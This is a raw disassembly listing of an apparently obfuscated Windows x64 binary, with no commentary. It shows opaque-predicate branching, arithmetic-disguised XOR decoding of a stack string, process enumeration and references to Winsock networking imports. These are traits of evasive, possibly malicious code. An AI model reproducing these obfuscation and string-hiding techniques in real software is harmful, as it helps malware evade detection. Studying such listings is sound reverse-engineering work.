lea rax, [r11 + 1]
cmp rdi, rax
je 0x14010c483
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14010c466
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x14010c458
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x14010c447
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14010c42a
lea rax, [r11 + 0x400]
cmp rdi, rax
je 0x14010c41c
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x14010c045
lea rdi, [r11 + 0x42]
lea r11, [rdi + 0x40]
lea rax, [r11 + 3]
cmp rdi, rax
jb 0x14010c8b1
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x14010c896
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x14010c22b
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x14010c212
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x14010c1f9
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x14010c3d2
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x14010c38a
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x14010c34f
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x14010c32e
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x14010c045
lea rdi, [r11 + 0x5a]
lea r11, [rdi + 0x42]
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14010c315
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x14010c2fc
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x14010c2e0
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x14010c2c7
lea rax, [r11 + 0x200]
cmp rdi, rax
ja 0x14010c2ae
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x14010c292
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x14010c279
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x14010c260
lea rax, [r11 + 5]
cmp rdi, rax
ja 0x14010c244
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x14010c045
lea rdi, [r11 + 0xa]
lea r11, [rdi + 0x5a]
jmp 0x14010c045
lea ecx, [r9 - 0x5d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x75
jmp 0x14010c038
lea ecx, [r9 + 0x11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x77
jmp 0x14010bfcf
lea ecx, [r9 + 0x7f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x79
jmp 0x14010bf61
lea ecx, [r9 - 0x18]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x58
mov r10b, r9b
jmp 0x14010c7f5
lea ecx, [r9 + 0x56]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5a
jmp 0x14010c818
lea ecx, [r9 - 0x3c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14010c81b
lea ecx, [r9 + 0x32]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
mov r10b, r9b
jmp 0x14010c6c8
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x14010c835
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x62
jmp 0x14010c855
lea ecx, [r9 + 0x7c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
mov r10b, r9b
jmp 0x14010c738
lea ecx, [r9 - 0x16]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x66
jmp 0x14010c763
lea ecx, [r9 + 0x58]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x14010c87f
lea ecx, [r9 - 0x15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6d
mov byte [rbp + r9 + 0xb0], bl
jmp 0x14010c88e
lea ecx, [r9 + 0x59]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6f
cmp r11, 0x42
jb 0x14010c342
mov r10b, r9b
lea edx, [r10 + 0x16]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x34]
jmp 0x14010c7f5
lea ecx, [r9 - 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x71
cmp rdi, 4
jae 0x14010c6aa
lea rax, [r11 + 0x400]
cmp rdi, rax
jbe 0x14010c65e
lea edx, [r9 + 0x62]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010c363
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x73
lea rax, [r11 + rdi]
cmp rax, 0x400
je 0x14010c6ee
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jbe 0x14010c5cc
lea ecx, [r9 + 0x65]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x3d
jmp 0x14010c39e
lea edx, [r9 - 0x12]
mov ecx, 0x3f
jmp 0x14010c513
lea edx, [r9 + 0x5c]
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010c763
mov r10b, r9b
lea edx, [r10 - 0x36]
mov ecx, 0x3d
jmp 0x14010c53c
lea edx, [r9 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14010c562
lea edx, [r9 - 0x5a]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010c835
mov r10b, r9b
lea edx, [r10 + 0x14]
mov ecx, Ordinal_60
jmp 0x14010c58b
lea edx, [r9 - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010c81b
lea edx, [r9 - 0x10]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010c818
mov r10b, r9b
lea edx, [r10 + 0x5e]
mov ecx, gethostname
jmp 0x14010c5b8
lea rax, [r11 + 0x41]
cmp rdi, rax
jae 0x14010c501
lea ecx, [r9 + 0x49]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, sil
jmp 0x14010c3e6
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14010c527
lea edx, [r9 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010c87f
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14010c550
mov r10b, r9b
lea edx, [r10 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010c738
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14010c576
lea edx, [r9 - 0x50]
mov ecx, Ordinal_27
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010c855
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14010c59f
mov r10b, r9b
lea edx, [r10 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010c6c8
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14010c3e6
mov r10b, r9b
lea edx, [r10 - 0x76]
mov ecx, Ordinal_33
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010c7f5
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14010c5f1
mov r10b, r9b
lea ecx, [r10 - 9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x3f
jmp 0x14010c7f5
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14010c613
lea ecx, [r9 - 0x77]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x41
jmp 0x14010c818
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14010c635
lea ecx, [r9 + 0x1b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x43
jmp 0x14010c81b
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14010c39e
mov r10b, r9b
lea ecx, [r10 + 0x63]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x4b
jmp 0x14010c738
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14010c675
lea edx, [r9 - 0xc]
mov ecx, Ordinal_45
jmp 0x14010c513
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14010c68f
mov r10b, r9b
lea edx, [r10 + 0x18]
mov ecx, Ordinal_45
jmp 0x14010c53c
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x14010c363
lea edx, [r9 + 0x60]
mov ecx, Ordinal_50
jmp 0x14010c49d
mov r10b, r9b
lea edx, [r10 - 0x58]
mov al, r8b
and al, dl
mov cl, byte [rbp + r9 + 0xb0]
sub cl, al
add cl, 0x34
lea ebx, [rcx + rcx]
add bl, dl
sub r10b, 0xf
mov al, r8b
and al, r10b
add al, al
sub r8b, al
add r8b, 0x69
add r8b, bl
add r8b, r10b
mov byte [rbp + r9 + 0xb0], r8b
jmp 0x14010c835
mov r10b, r9b
lea edx, [r10 + 0x3a]
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010c736
lea ecx, [r9 + 0x1f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x27
jmp 0x14010c87f
mov r10b, r9b
lea edx, [r10 - 5]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x23
add bl, dl
sub r10b, 0x7d
mov al, r8b
and al, r10b
add al, al
mov cl, r8b
sub cl, al
add cl, 0x6b
add cl, r10b
movzx eax, cl
mov byte [rbp + r9 + 0xb0], al
add r11, rsi
add rax, r11
sub r9, rax
lea edx, [r9 - 0x34]
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xb0], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14010c87f
lea ecx, [r9 + 0x69]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x21
jmp 0x14010c855
lea ecx, [r9 - 0x4d]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x1b
jmp 0x14010c81b
mov r10b, r9b
lea edx, [r10 - 0x71]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x17
jmp 0x14010c7f3
mov r10b, r9b
lea edx, [r10 + 0x6b]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x13
add bl, dl
add r10b, 0x5f
mov al, r8b
and al, r10b
add al, al
sub r8b, al
add r8b, 0x67
add r8b, r10b
mov byte [rbp + r9 + 0xb0], r8b
mov esi, 1
add r11, rsi
sub r9, rsi
jmp 0x14010c88e
lea ecx, [r9 + 0x23]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0xb
add rdi, r11
jmp 0x14010c855
movabs rcx, 0xf68cc1c92268c491
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 9
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010c88e
movabs rcx, 0xa784409860cd96db
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 3
movzx eax, byte [rbp + r9 + 0xb0]
add rax, r11
add r9, rax
inc r9
jmp 0x14010bf4e
sub r9b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x7b
jmp 0x14010bf4b
add r9b, 0x5b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x7d
jmp 0x14010bf3b
mov eax, dword [rbp + 0x175c9bc]
jmp 0x14010c8e2
mov eax, dword [rbp + 0x164fc05]
jmp 0x14010c8e2
mov eax, dword [rbp + 0xb0]
mov dword [0x14017bef0], eax
lea r8, [rbp + 0x580]
mov edx, 0x1000
lea rcx, [rbp + 0x6f0]
call sub.KERNEL32.dll_K32EnumProcesses
mov r14d, 1
test eax, eax
je 0x14010c930
mov eax, dword [rbp + 0x580]
shr eax, 2
test eax, eax
je 0x14010c930
lea rbx, [rbp + 0x6f0]
mov edi, eax
mov ecx, dword [rbx]
call fcn.1401421ec
lea rbx, [rbx + 4]
sub rdi, r14
jne 0x14010c920
call fcn.140141444
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x598], xmm0
mov qword [rbp + 0x5a8], rax
lea rsi, [rsp + 0x50]
mov byte [rbp + 0x500], 0x77
mov byte [rbp + 0x501], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x502], 0x5e
mov byte [rbp + 0x503], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x504], 0x53
mov byte [rbp + 0x505], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x506], 0x40
mov byte [rbp + 0x507], Ordinal_45
mov byte [rbp + 0x508], 0x45
mov byte [rbp + 0x509], Ordinal_41
mov byte [rbp + 0x50a], 0x46
mov byte [rbp + 0x50b], Ordinal_60
mov byte [rbp + 0x50c], 0x54
mov byte [rbp + 0x50d], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x50e], WSAStartup
mov byte [rbp + 0x50f], 0x3f
mov byte [rbp + 0x510], Ordinal_79
mov byte [rbp + 0x511], 0x3d
mov byte [rbp + 0x512], 0x41
mov byte [rbp + 0x513], gethostname
mov byte [rbp + 0x514], 0x57
mov byte [rbp + 0x515], Ordinal_50
mov byte [rbp + 0x516], 0x53
mov byte [rbp + 0x517], Ordinal_60
mov byte [rbp + 0x518], 0x43
mov byte [rbp + 0x519], gethostname
mov byte [rbp + 0x51a], 0x3d
mov byte [rbp + 0x51b], Ordinal_79
mov byte [rbp + 0x51c], reloc.WS2_32.dll_recv
mov byte [rbp + 0x51d], Ordinal_79
mov byte [rbp + 0x51e], Ordinal_50
mov byte [rbp + 0x51f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x520], Ordinal_45
mov byte [rbp + 0x521], Ordinal_79
mov byte [rbp + 0x522], 0x3d
mov byte [rbp + 0x523], 0x43
mov byte [rbp + 0x524], Ordinal_41
mov byte [rbp + 0x525], 0x41
mov byte [rbp + 0x526], Ordinal_50
mov byte [rbp + 0x527], 0x47
mov byte [rbp + 0x528], 0x44
mov byte [rbp + 0x529], 0x45
mov qword [rbp + 0x52a], rax
mov dword [rbp + 0x532], eax
mov byte [rbp + 0x536], al
mov bl, byte [rsp + 0x50]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r11, qword [rax]
mov r9, r12
cmp r9, 0x37
jae 0x14010d408
movzx r8d, byte [rbp + r9 + 0x500]
mov rdx, r8
cmp rdi, r9
ja 0x14010d3ff
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x14010cae7
movabs rcx, 0x5975ee925521f226
add rcx, r9
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
sub bl, 0xa
jmp 0x14010cb21
je 0x14010d38e
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14010d318
lea rax, [r11 + 4]
cmp rdi, rax
je 0x14010d2eb
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14010d2d2
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14010d28e
mov r15b, 0x5a
cmp r11, r9
ja 0x14010d3f6
lea rax, [r11 + 0x64]
cmp rdi, rax
jae 0x14010cb50
lea edx, [r9 + 0x1e]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010cb84
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14010d280
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14010d26a
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14010d230
lea rax, [r11 + 9]
cmp rdi, rax
je 0x14010d213
lea rax, [r11 + rdi]
cmp rax, r9
jbe 0x14010d029
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x14010d00d
lea rax, [r11 + 0x61]
cmp rdi, rax
je 0x14010cff4
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14010cfdb
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14010cfca
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14010cfad
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14010cf90
lea rax, [r11 + 0x28]
cmp rdi, rax
je 0x14010cf82
lea rax, [r11 + 9]
cmp rdi, rax
je 0x14010cf65
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x14010cf57
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x14010cb91
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x41]
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x14010d3db
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x14010d3c0
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x14010cd77
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x14010cd5e
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x14010cd45
lea rax, [r11 + 3]
cmp rdi, rax
jb 0x14010cf0e
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x14010cec6
lea rax, [r11 + 0x40]
cmp rdi, rax
jb 0x14010ce86
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jb 0x14010ce61
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x14010cb91
lea rdi, [r11 + 0x61]
lea r11, [rdi + 0x400]
lea rax, [r11 + 0x200]
cmp rdi, rax
ja 0x14010ce53
lea rax, [r11 + 0x7a]
cmp rdi, rax
ja 0x14010ce3a
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x14010ce21
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x14010ce08
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x14010cdef
lea rax, [r11 + 9]
cmp rdi, rax
ja 0x14010cdd3
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14010cdba
lea rax, [r11 + 0xa]
cmp rdi, rax
ja 0x14010cda1
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x14010cd90
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x14010cb91
lea rdi, [r11 + 0x200]
lea r11, [rdi + 0x64]
jmp 0x14010cb91
lea ecx, [r9 - 0x5e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6e
jmp 0x14010cb84
lea ecx, [r9 + 0x56]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x14010cb24
lea ecx, [r9 + 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
jmp 0x14010cab0
lea edx, [r9 - 0x10]
mov ecx, Ordinal_60
mov r10b, r9b
jmp 0x14010d29a
lea ecx, [r9 - 0x5c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14010d2c7
lea ecx, [r9 + 0x58]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x14010d2ca
lea ecx, [r9 + 0xc]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x54
mov r10b, r9b
jmp 0x14010d247
lea ecx, [r9 - 0x40]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14010d2e6
lea ecx, [r9 + 0x74]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2c
jmp 0x14010d306
lea ecx, [r9 + 0x28]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x14010d335
lea ecx, [r9 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14010d35e
lea edx, [r9 - 0x70]
mov ecx, 8
jmp 0x14010d21c
lea edx, [r9 - 0x2e]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov byte [rbp + r9 + 0x500], bl
jmp 0x14010d3b8
lea edx, [r9 - 0x7a]
mov al, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r11, 0x42
jb 0x14010ce79
mov r10b, r9b
lea ecx, [r10 + 0x24]
mov al, cl
and al, r8b
mov edx, 2
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14010d2a9
lea edx, [r9 + 0x3a]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 0xa
jae 0x14010d1d0
lea rax, [r11 + 0x80]
cmp rdi, rax
jbe 0x14010d13d
lea ecx, [r9 + 0x2c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x14010ce9e
lea edx, [r9 - 0x12]
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [r11 + rdi]
cmp rax, 0x40
je 0x14010d1f2
lea rax, [r11 + 0x20]
cmp rdi, rax
jbe 0x14010d0b1
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x62
jmp 0x14010cede
lea edx, [r9 - 0x4c]
mov ecx, 0xa
jmp 0x14010d21c
lea edx, [r9 + 0x68]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010d35e
lea edx, [r9 + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14010d074
lea edx, [r9 - 0x30]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010d306
lea edx, [r9 - 0x7c]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010d2e6
mov r10b, r9b
lea edx, [r10 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14010d113
lea ecx, [r9 - 0x14]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x74
jmp 0x14010d2ca
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x14010d2c7
mov r10b, r9b
lea ecx, [r10 + 0x54]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
jmp 0x14010d2a9
lea rax, [r11 + 0x40]
cmp rdi, rax
jae 0x14010d04b
lea ecx, [r9 + 0x26]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
jmp 0x14010cf26
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14010d062
lea edx, [r9 + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14010d21c
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14010d088
lea edx, [r9 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010d335
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14010cf26
mov r10b, r9b
lea ecx, [r10 - 0x48]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14010d247
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14010d0d6
mov r10b, r9b
lea ecx, [r15 + r10]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x76
jmp 0x14010d2a9
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14010d0fe
mov dl, r9b
sub dl, r15b
mov ecx, Ordinal_60
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010d2c7
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14010d122
mov r10b, r9b
lea edx, [r10 + 0x3e]
mov ecx, Ordinal_41
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010d1eb
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14010cede
lea edx, [r9 + 0x22]
mov ecx, 9
jmp 0x14010d074
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14010d15f
lea ecx, [r9 + 0x78]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x48
jmp 0x14010d3a9
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14010d181
lea ecx, [r9 + 0x10]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14010d335
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14010d19b
mov r10b, r9b
lea edx, [r10 - 0xc]
mov ecx, Ordinal_45
jmp 0x14010d113
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14010d1b2
lea edx, [r9 - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14010d0ea
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14010ce9e
mov r10b, r9b
lea edx, [r10 - 0x28]
mov ecx, ntohs
jmp 0x14010d29a
mov r10b, r9b
lea edx, [r10 + 0x70]
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x500]
sub bl, al
sub bl, 0x10
add bl, dl
add bl, r8b
jmp 0x14010d247
lea ecx, [r9 - 0x44]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x500]
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x14010d335
lea edx, [r9 - 0x36]
mov ecx, 0x3d
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010d3a9
mov r10b, r9b
lea ecx, [r10 + 0x4e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
sub r10b, 0x6a
mov al, r8b
and al, r10b
add al, al
sub r8b, al
sub r8b, 0x1a
add r8b, r10b
add r8b, bl
mov byte [rbp + r9 + 0x500], r8b
jmp 0x14010d2e6
lea ecx, [r9 + 2]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xe
jmp 0x14010d2ca
mov r10b, r9b
lea edx, [r10 + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
jmp 0x14010d29a
mov r10b, r9b
lea edx, [r10 - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
add r10b, 0x4a
mov al, r8b
and al, r10b
add al, al
sub r8b, al
sub r8b, 6
add r8b, r10b
mov byte [rbp + r9 + 0x500], r8b
add r11, r14
sub r9, r14
jmp 0x14010d3b8
lea ecx, [r9 - 0x5e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6e
add rdi, r11
jmp 0x14010d306
movabs rcx, 0x25256324fe318356
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x5a
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010d3b8
